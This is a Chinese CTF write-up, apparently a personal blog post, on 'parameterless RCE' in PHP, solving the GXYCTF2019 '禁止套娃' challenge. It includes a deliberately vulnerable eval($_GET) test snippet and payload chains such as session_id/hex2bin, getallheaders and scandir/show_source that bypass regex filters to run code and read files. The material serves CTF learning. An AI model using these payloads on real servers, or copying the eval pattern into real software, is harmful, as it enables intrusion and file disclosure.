0x00前言
刷buu的时候遇到一道题,[GXYCTF2019]禁止套娃,涉及到无参数RCE,但是我不会,记录一下学习过程。
实例
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))
解析
preg_replace 的主要功能就是限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。
再来看一下:(?R)?,这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)
preg_match的主要功能就是过滤函数,把一些常用不带参数的函数关键部分都给过滤了,需要去构造别的方法去执行命令。
说白了就是传入的参数不能含有参数
scandir('a()')//可以使用,里面没有参数
scandir('123')//不可以使用,里面有参数
所谓无参数RCE
说白了就是使用一个个的函数来达到我们的目的。
例如print_r(array_reverse(scandir(current(localeconv()))))
接下来就说说由哪些方法能完成RCE
测试代码
<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
0x01关于无参数RCE的一些方法
方法一 利用session_id
利用http headers
传参,然而http
中有那么多的内容,最容易想到的估计就是cookies
传递参数。
在php中有一个函数session_id
可以用来获取/设置当前会话ID,并且这个值是我们可控的。但是它的使用有些限制: 文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号 ,但是这并不影响我们操作。我们可以使用十六进制传入,之后使用hex2bin()
函数转换即可。但是使用session_id
的时候必须要开启session
才可以,需要session_start
构造payload
?code=eval(hex2bin(session_id(session_start())));
hex("phpinfo();")=706870696e666f28293b
方法二 利用get_defined_vars ()函数
get_defined_vars():返回由所有已定义变量所组成的数组
我们通过get
或者post
方法,传入的参数,以及它的值可以被get_defined_vars()
读出来。而且它返回的还是数组,那么我们可以通过php中的一系列对数组操作的函数来得到我们想要的值
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() -输出数组中的当前元素的值。
构造payload
?code=print_r(current(get_defined_vars()));&b=phpinfo();
查看最后一个数组,且eval
?code=eval(end(current(get_defined_vars())));&b=phpinfo();
方法三 利用getallheaders()
getallheaders返回当前请求的所有请求头信息
尝试写入phpinfo()
之后就可用数组操作的函数拿出phpinfo()且执行。
构造payload
?code=eval(next(getallheaders()));
方法四 getenv()
getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
看简介就明白,它并不适用于PHP<7.1的版本,我的版本不合适,报了400错误,往里面传参也不行。
没有成功,好在这种方法使用限制比较多,使用也相对比较少。
方法五 scandir()
这种方法是使用比较多的,相对而言比较多变,各个函数相辅相成。
scandir() //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
pos是current的别名
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径
示例
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看和读取根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); //查看和读取根目录文件
由此可以看出各个函数相互利用,组合方法有很多
实例
知识不经过组合利用就不会起作用
[GXYCTF2019]禁止套娃
dirsearch扫目录得/.git
利用githack得源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
查看代码,很明显的无参数RCE
其中(?R)
引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数
scandir('.')
返回当前目录,但是如何构造.
函数localeconv()
返回一包含本地数字及货币格式信息的数组。 但是其数组第一项就是.
, current()/pos()
返回数组中的当前单元, 默认取第一个值。
构造payload
?exp=print_r(scandir(pos(localeconv())));
利用对数组操作的函数读取flag
利用array_reverse()
将数组内容反转一下 , 利用next()
指向第二个元素,也就是flag.php
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
0x02 后记
在没学习之前觉得这个知识点可能会很难,现在倒也觉得没有我想的那么难。有些东西做了才知道深浅。继续加油吧。
参考
https://blog.csdn.net/qq_38154820/article/details/107171940
https://blog.csdn.net/qq_45570082/article/details/106602261
https://xz.aliyun.com/t/9360#toc-6